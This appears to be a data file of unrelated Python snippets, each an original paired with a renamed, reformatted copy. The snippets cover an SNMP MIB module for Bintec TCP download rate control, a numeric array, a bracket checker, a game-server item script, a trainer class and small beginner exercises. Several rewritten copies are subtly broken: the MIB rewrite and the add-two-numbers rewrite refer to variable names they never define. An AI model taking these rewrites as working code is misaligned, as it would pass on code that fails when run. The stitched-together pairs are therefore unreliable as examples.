maximum TCP download rate in bits per second.') ipTdrcWindowScaling = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 16)).clone(2)).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcWindowScaling.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcWindowScaling.setDescription('The TCP window scaling used for TDRC.') ipTdrcMss = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 4056)).clone(1452)).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcMss.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMss.setDescription('The TCP MSS used for TDRC.') ipTdrcServices = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("listed-only", 1), ("all", 2))).clone('all')).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcServices.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServices.setDescription('Determines the TCP services to be considered for TDRC. If set to listed-only(1), only the predefined and listed services (see ipTdrcServiceTable) will be controlled. If set to all(2) each TCP service will be controlled.') ipTdrcServiceTable = MibTable((1, 3, 6, 1, 4, 1, 272, 4, 5, 44), ) if mibBuilder.loadTexts: ipTdrcServiceTable.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceTable.setDescription("The ipTdrcServiceTable specifies TCP services to be considered for the TCP Download Rate Control (TDRC) if enabled on the interface specified by ipTdrcServiceIfIndex (interface index). Creating entries: Entries are created by assigning an interface index to the ipTdrcServiceIfIndex object. Deleting entries: Entries are removed by setting an entry's ipTdrcServiceStatus object to 'delete'.") ipTdrcServiceEntry = MibTableRow((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1), ).setIndexNames((0, "BIANCA-BRICK-TDRC-MIB", "ipTdrcServiceIfIndex")) if mibBuilder.loadTexts: ipTdrcServiceEntry.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceEntry.setDescription('') ipTdrcServiceIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcServiceIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceIfIndex.setDescription('The associated Interface Index.') ipTdrcServicePort = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcServicePort.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServicePort.setDescription('The associated TCP service/port.') ipTdrcServiceStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 5))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2), ("delete", 5))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcServiceStatus.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceStatus.setDescription('The status of this entry. enabled(1): service will be TDRC controlled disabled(2): service will not be TDRC controlled delete(5): this entry will be deleted. ') ipTdrcServiceAlias = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 4), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcServiceAlias.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceAlias.setDescription('Alias Name for the Service Entry') mibBuilder.exportSymbols("BIANCA-BRICK-TDRC-MIB", ipTdrcServicePort=ipTdrcServicePort, ipTdrcMaxRate=ipTdrcMaxRate, biboip=biboip, ipTdrcTable=ipTdrcTable, bintec=bintec, ipTdrcMss=ipTdrcMss, ipTdrcMode=ipTdrcMode, ipTdrcServiceTable=ipTdrcServiceTable, ipTdrcServices=ipTdrcServices, ipTdrcServiceIfIndex=ipTdrcServiceIfIndex, ipTdrcServiceAlias=ipTdrcServiceAlias, ipTdrcWindowScaling=ipTdrcWindowScaling, ipTdrcServiceEntry=ipTdrcServiceEntry, ipTdrcIfIndex=ipTdrcIfIndex, ipTdrcServiceStatus=ipTdrcServiceStatus, bibo=bibo, ipTdrcEntry=ipTdrcEntry)
(object_identifier, octet_string, integer) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'OctetString', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, value_range_constraint, constraints_union, value_size_constraint, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ValueRangeConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'ConstraintsIntersection') (display_string,) = mibBuilder.importSymbols('RFC1158-MIB', 'DisplayString') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (counter64, integer32, mib_scalar, mib_table, mib_table_row, mib_table_column, enterprises, iso, time_ticks, notification_type, gauge32, object_identity, counter32, unsigned32, module_identity, ip_address, mib_identifier, bits) = mibBuilder.importSymbols('SNMPv2-SMI', 'Counter64', 'Integer32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'enterprises', 'iso', 'TimeTicks', 'NotificationType', 'Gauge32', 'ObjectIdentity', 'Counter32', 'Unsigned32', 'ModuleIdentity', 'IpAddress', 'MibIdentifier', 'Bits') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') bintec = mib_identifier((1, 3, 6, 1, 4, 1, 272)) bibo = mib_identifier((1, 3, 6, 1, 4, 1, 272, 4)) biboip = mib_identifier((1, 3, 6, 1, 4, 1, 272, 4, 5)) ip_tdrc_table = mib_table((1, 3, 6, 1, 4, 1, 272, 4, 5, 43)) if mibBuilder.loadTexts: ipTdrcTable.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcTable.setDescription("The ipTdrcTable enables the TCP Download Rate Control (TDRC) on the interface specified by ipTdrcIfIndex (interface index). Creating entries: Entries are created by assigning an interface index to the ipTdrcIfIndex object. Deleting entries: Entries are removed by setting an entry's ipTdrcMode object to 'delete'.") ip_tdrc_entry = mib_table_row((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1)).setIndexNames((0, 'BIANCA-BRICK-TDRC-MIB', 'ipTdrcIfIndex')) if mibBuilder.loadTexts: ipTdrcEntry.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcEntry.setDescription('') ip_tdrc_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcIfIndex.setDescription('The associated Interface Index.') ip_tdrc_mode = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('disabled', 1), ('ack-prioritisation', 2), ('static', 3), ('dynamic', 4), ('delete', 5))).clone('static')).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcMode.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMode.setDescription('The TDRC mode for the associated interface. disabled(1): no TDRC active ack-prioritisation(2): preferential transmission of TCP ACK messages static(3): static TCP download limitation determined by ipTdrcMaxRate dynamic(4): dynamic TCP download limitation determined by ipTdrcMaxRate less amount of high priority traffic send via the associated interface delete(5): this entry will be deleted') ip_tdrc_max_rate = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 3), integer32().clone(1024000)).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcMaxRate.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMaxRate.setDescription('The maximum TCP download rate in bits per second.') ip_tdrc_window_scaling = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 4), integer32().subtype(subtypeSpec=value_range_constraint(0, 16)).clone(2)).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcWindowScaling.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcWindowScaling.setDescription('The TCP window scaling used for TDRC.') ip_tdrc_mss = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(0, 4056)).clone(1452)).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcMss.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMss.setDescription('The TCP MSS used for TDRC.') ip_tdrc_services = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('listed-only', 1), ('all', 2))).clone('all')).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcServices.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServices.setDescription('Determines the TCP services to be considered for TDRC. If set to listed-only(1), only the predefined and listed services (see ipTdrcServiceTable) will be controlled. If set to all(2) each TCP service will be controlled.') ip_tdrc_service_table = mib_table((1, 3, 6, 1, 4, 1, 272, 4, 5, 44)) if mibBuilder.loadTexts: ipTdrcServiceTable.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceTable.setDescription("The ipTdrcServiceTable specifies TCP services to be considered for the TCP Download Rate Control (TDRC) if enabled on the interface specified by ipTdrcServiceIfIndex (interface index). Creating entries: Entries are created by assigning an interface index to the ipTdrcServiceIfIndex object. Deleting entries: Entries are removed by setting an entry's ipTdrcServiceStatus object to 'delete'.") ip_tdrc_service_entry = mib_table_row((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1)).setIndexNames((0, 'BIANCA-BRICK-TDRC-MIB', 'ipTdrcServiceIfIndex')) if mibBuilder.loadTexts: ipTdrcServiceEntry.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceEntry.setDescription('') ip_tdrc_service_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcServiceIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceIfIndex.setDescription('The associated Interface Index.') ip_tdrc_service_port = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 65535))).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcServicePort.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServicePort.setDescription('The associated TCP service/port.') ip_tdrc_service_status = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 5))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2), ('delete', 5))).clone('enabled')).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcServiceStatus.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceStatus.setDescription('The status of this entry. enabled(1): service will be TDRC controlled disabled(2): service will not be TDRC controlled delete(5): this entry will be deleted. ') ip_tdrc_service_alias = mib_table_column((1, 3, 6, 1, 4, 1, 272, 4, 5, 44, 1, 4), display_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: ipTdrcServiceAlias.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcServiceAlias.setDescription('Alias Name for the Service Entry') mibBuilder.exportSymbols('BIANCA-BRICK-TDRC-MIB', ipTdrcServicePort=ipTdrcServicePort, ipTdrcMaxRate=ipTdrcMaxRate, biboip=biboip, ipTdrcTable=ipTdrcTable, bintec=bintec, ipTdrcMss=ipTdrcMss, ipTdrcMode=ipTdrcMode, ipTdrcServiceTable=ipTdrcServiceTable, ipTdrcServices=ipTdrcServices, ipTdrcServiceIfIndex=ipTdrcServiceIfIndex, ipTdrcServiceAlias=ipTdrcServiceAlias, ipTdrcWindowScaling=ipTdrcWindowScaling, ipTdrcServiceEntry=ipTdrcServiceEntry, ipTdrcIfIndex=ipTdrcIfIndex, ipTdrcServiceStatus=ipTdrcServiceStatus, bibo=bibo, ipTdrcEntry=ipTdrcEntry)
[ [ 1.00000000e00, 9.50744855e-01, 7.61580875e-01, 1.45494511e-03, 1.35271514e-04, 2.75262668e-03, 9.40575477e-01, 4.90755141e-01, 3.16822332e-03, 6.38672254e-01, 3.44275537e-05, ], [ 1.00000000e00, 2.34589189e-01, 7.02082945e-01, 8.84605265e-04, 5.67562813e-04, 5.94375533e-03, 5.53862215e-01, 3.88027539e-01, 1.11098015e-02, 2.71039211e-01, 7.25442977e-04, ], [ 1.00000000e00, 8.78852262e-02, 3.51831360e-01, 3.82131035e-01, 8.03255937e-01, 8.12841336e-01, 3.31271828e-01, 7.00272311e-01, 9.68813218e-01, 3.04581978e-01, 8.43264694e-01, ], ]
[[1.0, 0.950744855, 0.761580875, 0.00145494511, 0.000135271514, 0.00275262668, 0.940575477, 0.490755141, 0.00316822332, 0.638672254, 3.44275537e-05], [1.0, 0.234589189, 0.702082945, 0.000884605265, 0.000567562813, 0.00594375533, 0.553862215, 0.388027539, 0.0111098015, 0.271039211, 0.000725442977], [1.0, 0.0878852262, 0.35183136, 0.382131035, 0.803255937, 0.812841336, 0.331271828, 0.700272311, 0.968813218, 0.304581978, 0.843264694]]
def solution(s): answer = True tmp = '' li = [] for c in s: if c == '(': li.append(c) else: if len(li) == 0: return False tmp = li.pop() if tmp == '': return False return len(li) == 0
def solution(s): answer = True tmp = '' li = [] for c in s: if c == '(': li.append(c) else: if len(li) == 0: return False tmp = li.pop() if tmp == '': return False return len(li) == 0
# Created by MechAviv # Violetta's Charming Damage Skin | (2433251) if sm.addDamageSkin(2433251): sm.chat("'Violetta's Charming Damage Skin' Damage Skin has been added to your account's damage skin collection.") sm.consumeItem()
if sm.addDamageSkin(2433251): sm.chat("'Violetta's Charming Damage Skin' Damage Skin has been added to your account's damage skin collection.") sm.consumeItem()
class MultiVariateTrainer: def __init__(self, trainers): self._trainers = trainers def fit(self, parameters, values): for n, trainer in enumerate(self._trainers): trainer.fit(parameters, values[:,n]) @property def models(self): return [trainer.model for trainer in self._trainers]
class Multivariatetrainer: def __init__(self, trainers): self._trainers = trainers def fit(self, parameters, values): for (n, trainer) in enumerate(self._trainers): trainer.fit(parameters, values[:, n]) @property def models(self): return [trainer.model for trainer in self._trainers]
def addTwoNumbers(a, b): return a + b firstNumber = input("What is the first number?") secondNumber = input("What is the second number?") result = addTwoNumbers(firstNumber, secondNumber) print(result) # Why are the two numbers not added correctly? # Example of type casting result = addTwoNumbers(int(firstNumber), int(secondNumber)) print(result)
def add_two_numbers(a, b): return a + b first_number = input('What is the first number?') second_number = input('What is the second number?') result = add_two_numbers(firstNumber, secondNumber) print(result) result = add_two_numbers(int(firstNumber), int(secondNumber)) print(result)
subnet_create_payload = { "nickname": "Test Python Subnet" } subnet_update_payload = { "allowed": "LOCKED" }
subnet_create_payload = {'nickname': 'Test Python Subnet'} subnet_update_payload = {'allowed': 'LOCKED'}
def rev_order(s: str): return ' '.join(s.split(' ')[::-1]) def test1(): print(rev_order('Technical Interview Preparation') == 'Preparation Interview Technical') def main(): test1() if __name__ == '__main__': main()
def rev_order(s: str): return ' '.join(s.split(' ')[::-1]) def test1(): print(rev_order('Technical Interview Preparation') == 'Preparation Interview Technical') def main(): test1() if __name__ == '__main__': main()